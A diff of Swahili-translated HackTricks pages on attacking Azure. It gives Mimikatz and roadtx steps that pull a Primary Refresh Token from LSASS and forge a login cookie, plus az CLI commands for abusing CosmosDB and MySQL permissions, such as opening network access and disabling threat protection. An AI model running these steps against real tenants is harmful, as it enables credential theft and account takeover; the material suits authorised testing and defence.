Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), futa vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
@@ -146,19 +146,19 @@ HttpOnly: Set to True (checked)
|
||||
Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com)
|
||||
|
||||
> [!CAUTION]
|
||||
> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato tena. Ikiwa haiondoki, unapaswa kuwa salama.
|
||||
> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato huo tena. Ikiwa haiondoki, unapaswa kuwa salama.
|
||||
|
||||
### Shambulio - Mimikatz
|
||||
|
||||
#### Hatua
|
||||
|
||||
1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
|
||||
2. **Key ya Kikao inachukuliwa ifuatayo**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Baada ya ufichuzi wa Key ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
2. **Funguo ya Kikao inachukuliwa baadaye**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md).
|
||||
3. Baada ya ufichuzi wa Funguo ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
|
||||
> [!CAUTION]
|
||||
> Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya `lsass` **mimikatz haitakuwa na uwezo wa kuichukua**.\
|
||||
> Hata hivyo, itakuwa inawezekana kupata **funguo kutoka kwa funguo iliyotokana na muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).**
|
||||
> Hata hivyo, itakuwa inawezekana **kupata funguo kutoka kwa funguo iliyotokana kutoka kwa muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).**
|
||||
|
||||
Unaweza kupata **maelezo ya kina ya mchakato uliofanywa** ili kuchukua maelezo haya hapa: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
|
||||
|
||||
@@ -180,14 +180,14 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Nakili** sehemu iliyoandikwa **Prt** na uihifadhi.\
|
||||
Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia DPAPI masterkeys zetu kuifungua.
|
||||
Pia toa funguo ya kikao (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) ambayo unaweza kuona ikiwa imeangaziwa hapa chini. Hii imefungwa na tutahitaji kutumia funguo zetu za DPAPI kuzifungua.
|
||||
|
||||
<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> Ikiwa huoni data yoyote ya PRT inaweza kuwa kwamba **huna PRT zozote** kwa sababu kifaa chako hakijajiunga na Azure AD au inaweza kuwa unatumia **toleo la zamani** la Windows 10.
|
||||
|
||||
Ili **kuifungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili uendeshe chini ya muktadha wa kompyuta ili uweze kutumia **DPAPI masterkey kuifungua**. Unaweza kutumia amri zifuatazo kufanya hivyo:
|
||||
Ili **kufungua** funguo ya kikao unahitaji **kuinua** mamlaka yako hadi **SYSTEM** ili kukimbia chini ya muktadha wa kompyuta ili uweze kutumia **funguo ya DPAPI kufungua**. Unaweza kutumia amri zifuatazo kufanya hivyo:
|
||||
```
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
@@ -200,17 +200,17 @@ dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
|
||||
|
||||
<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Na thamani ya ufunguo iliyotokana:
|
||||
- Na thamani ya ufunguo uliochukuliwa:
|
||||
|
||||
<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Hatimaye unaweza kutumia taarifa hii yote **kuunda vidakuzi vya PRT**:
|
||||
- Hatimaye unaweza kutumia taarifa hizi zote **kuunda vidakuzi vya PRT**:
|
||||
```bash
|
||||
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
|
||||
```
|
||||
<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote vya login.microsoftonline.com na ingiza kidakuzi kipya.
|
||||
- Tembelea [https://login.microsoftonline.com](https://login.microsoftonline.com), safisha vidakuzi vyote kwa login.microsoftonline.com na ingiza kidakuzi kipya.
|
||||
```
|
||||
Name: x-ms-RefreshTokenCredential
|
||||
Value: [Paste your output from above]
|
||||
@@ -228,7 +228,7 @@ HttpOnly: Set to True (checked)
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri ya `roadtx describe`, tunaona kwamba tokeni ya ufikiaji inajumuisha madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
|
||||
- Sasa tunaweza **kuomba tokeni** kwa kutumia kivinjari cha mwingiliano na `roadtx browserprtauth`. Ikiwa tutatumia amri `roadtx describe`, tunaona tokeni ya ufikiaji inajumuisha madai ya MFA kwa sababu PRT niliyotumia katika kesi hii pia ilikuwa na madai ya MFA.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
|
||||
@@ -19,7 +19,7 @@ Mshambuliaji anapotambua programu, nyongeza au picha zinazotumiwa mara kwa mara
|
||||
Mshambuliaji anaweza kupata ufikiaji wa instances na kuzi-backdoor:
|
||||
|
||||
- Kutumia **rootkit** ya jadi kwa mfano
|
||||
- Kuongeza **funguo mpya za SSH za umma** (angalia [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
|
||||
- Kuongeza **funguo mpya za SSH za umma** (angalia [EC2 privesc options](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.html))
|
||||
- Ku-backdoor **User Data**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,243 @@
|
||||
# Az - CosmosDB Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## CosmosDB Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu SQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
|
||||
Kwa ruhusa hii, unaweza kuunda au kuboresha akaunti za Azure Cosmos DB. Hii inajumuisha kubadilisha mipangilio ya akaunti, kuongeza au kuondoa maeneo, kubadilisha viwango vya usawa, na kuwezesha au kuzima vipengele kama vile maandiko ya maeneo mengi.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb update \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--public-network-access ENABLED
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha kontena (makusanyo) ndani ya database ya SQL ya akaunti ya Azure Cosmos DB. Kontena zinatumika kuhifadhi data, na mabadiliko kwao yanaweza kuathiri muundo wa database na mifumo ya ufikiaji.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create
|
||||
az cosmosdb sql container create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--partition-key-path <partition_key_path>
|
||||
|
||||
#Update
|
||||
az cosmosdb sql container update \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name> \
|
||||
--name <container_name> \
|
||||
--ttl 3600
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha hifadhidata za SQL ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu usimamizi wa muundo wa hifadhidata na kuongeza hifadhidata mpya kwenye akaunti. Ingawa ruhusa hii inaruhusu uundaji wa hifadhidata, matumizi yasiyo sahihi au yasiyoidhinishwa yanaweza kusababisha matumizi yasiyo ya lazima ya rasilimali, kuongezeka kwa gharama, au ukosefu wa ufanisi wa operesheni.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kubadilisha kipaumbele cha kufeli cha maeneo kwa akaunti ya database ya Azure Cosmos DB. Kitendo hiki kinatathmini mpangilio ambao maeneo yanakuwa ya msingi wakati wa tukio la kufeli. Matumizi yasiyo sahihi ya ruhusa hii yanaweza kuharibu upatikanaji wa juu wa database au kusababisha athari zisizokusudiwa za uendeshaji.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb failover-priority-change \
|
||||
--name <database_account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--failover-policies <region1=priority1> <region2=priority2>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
|
||||
Kwa ruhusa hii, unaweza kuunda upya funguo za msingi au za sekondari kwa akaunti ya Azure Cosmos DB. Hii kwa kawaida hutumika kuboresha usalama kwa kubadilisha funguo za zamani, lakini inaweza kuathiri upatikanaji wa huduma au programu zinazotegemea funguo za sasa.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys regenerate \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--key-kind <primary|secondary>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha triggers ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Triggers zinakuwezesha kutekeleza mantiki ya upande wa seva kama majibu ya operesheni.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha taratibu zilizohifadhiwa ndani ya kontena la database ya SQL katika akaunti ya Azure Cosmos DB. Taratibu zilizohifadhiwa katika Cosmos DB ni kazi za JavaScript za upande wa seva ambazo zinakuwezesha kufunga mantiki ya kushughulikia data au kufanya operesheni moja kwa moja ndani ya database.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql stored-procedure create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <stored_procedure_name> \
|
||||
--body 'function sample() { return "Hello, Cosmos!"; }'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha vichocheo ndani ya kontena la hifadhidata ya SQL katika akaunti ya Azure Cosmos DB. Vichocheo vinakuruhusu kutekeleza mantiki ya upande wa seva kama jibu kwa operesheni kama vile kuingiza, kusasisha, au kufuta.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql trigger create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <sql_database_name> \
|
||||
--container-name <container_name> \
|
||||
--name <trigger_name> \
|
||||
--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
|
||||
--type Pre \
|
||||
--operation All
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha makusanyo ndani ya hifadhidata za MongoDB katika akaunti ya Azure Cosmos DB. Makusanyo yanatumika kuhifadhi hati na kufafanua muundo na ugawaji wa data.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb collection create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <mongodb_database_name> \
|
||||
--name <collection_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
|
||||
Kwa ruhusa hii, unaweza kuunda hifadhidata mpya za MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kuandaa hifadhidata mpya za kuhifadhi na kusimamia makusanyo na hati.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb database create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
|
||||
Kwa ruhusa hii, unaweza kuunda ufafanuzi mpya wa majukumu ya MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu kufafanua majukumu maalum yenye ruhusa maalum kwa watumiaji wa MongoDB.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.readWriteRole",
|
||||
"RoleName": "readWriteRole",
|
||||
"Type": "CustomRole",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"Privileges": [
|
||||
{
|
||||
"Resource": {
|
||||
"Db": "<mydatabase>",
|
||||
"Collection": "mycollection"
|
||||
},
|
||||
"Actions": [
|
||||
"insert",
|
||||
"find",
|
||||
"update"
|
||||
]
|
||||
}
|
||||
],
|
||||
"Roles": []
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
|
||||
Kwa ruhusa hii, unaweza kuunda maelezo mapya ya mtumiaji wa MongoDB ndani ya akaunti ya Azure Cosmos DB. Hii inaruhusu upatikanaji wa watumiaji wenye majukumu maalum na viwango vya ufikiaji kwa hifadhidata za MongoDB.
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb mongodb user definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<mydatabase>.myUser",
|
||||
"UserName": "myUser",
|
||||
"Password": "mySecurePassword",
|
||||
"DatabaseName": "<mydatabase>",
|
||||
"CustomData": "TestCustomData",
|
||||
"Mechanisms": "SCRAM-SHA-256",
|
||||
"Roles": [
|
||||
{
|
||||
"Role": "readWriteRole",
|
||||
"Db": "<mydatabase>"
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,167 @@
|
||||
# Az - MySQL Post Exploitation
|
||||
|
||||
{% hint style="success" %}
|
||||
Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
|
||||
* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **fuata** sisi kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL Database Post Exploitation
|
||||
Kwa maelezo zaidi kuhusu MySQL Database angalia:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda databasi mpya ndani ya mfano wa MySQL Flexible Server kwenye Azure. Ingawa kitendo hiki chenyewe hakibadilishi rasilimali zilizopo, kuunda databasi kupita kiasi au bila ruhusa kunaweza kusababisha matumizi ya rasilimali, au matumizi mabaya ya seva.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/backups/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuanzisha uundaji wa nakala za akiba kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inawawezesha watumiaji kuunda nakala za akiba kwa mahitaji, ambazo zinaweza kuwa na manufaa kwa kuhifadhi data katika maeneo maalum ya wakati.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kusasisha mipangilio ya Advanced Threat Protection (ATP) kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kuwezesha au kuzima vipengele vya usalama vilivyoundwa kugundua na kujibu shughuli zisizo za kawaida na vitisho vya uwezekano.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server threat-protection-policy update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--state <Enabled|Disabled>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuunda au kubadilisha sheria za firewall kwa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu udhibiti juu ya anwani za IP au maeneo gani yanaweza kufikia seva. Matumizi yasiyoidhinishwa au yasiyo sahihi ya ruhusa hii yanaweza kufichua seva kwa ufikiaji usiohitajika au mbaya.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Create Rule
|
||||
az mysql flexible-server firewall-rule create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
|
||||
# Update Rule
|
||||
az mysql flexible-server firewall-rule update \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--rule-name <rule_name> \
|
||||
--start-ip-address <start_ip> \
|
||||
--end-ip-address <end_ip>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kurekebisha GTID (Global Transaction Identifier) kwa mfano wa MySQL Flexible Server kwenye Azure. Kurekebisha GTID kutafanya kuwa batili backups zote za kiotomatiki, za mahitaji na geo-backups ambazo zilichukuliwa kabla ya hatua ya kurekebisha. Baada ya kurekebisha GTID, hautaweza kufanya PITR (point-in-time-restore) ukitumia pointi ya kurejesha haraka au kwa pointi ya kurejesha maalum ikiwa wakati wa kurejesha uliochaguliwa uko kabla ya wakati wa kurekebisha GTID. Na kurejesha kwa mafanikio kwa geo kutakuwa na uwezekano tu baada ya siku 5.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server reset-gtid \
|
||||
--name \
|
||||
--resource-group <resource_group_name> \
|
||||
--gtid-set <gtid>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kuboresha mipangilio ya usanidi wa mfano wa MySQL Flexible Server kwenye Azure. Hii inaruhusu kubadilisha vigezo vya seva kama vile uboreshaji wa utendaji, mipangilio ya usalama, au mipangilio ya uendeshaji. Unaweza kuboresha vigezo vifuatavyo kwa pamoja katika kundi: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors, na max_connections.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server parameter set-batch \
|
||||
--resource-group <resource_group_name> \
|
||||
--server-name <server_name> \
|
||||
--args max_connections=<value>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kupewa kitambulisho cha usimamizi kilichoteuliwa na mtumiaji kwa seva za MySQL flexible.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server identity assign \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--identity <IdentityName>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/stop/action"
|
||||
|
||||
Kwa ruhusa hii, unaweza kusitisha mfano wa PostgreSQL Flexible Server kwenye Azure. Kusitisha seva kunaweza kusababisha usumbufu wa huduma wa muda, ukihusisha programu na watumiaji wanaotegemea hifadhidata.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server stop \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforMySQL/flexibleServers/start/action"
|
||||
With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
|
||||
|
||||
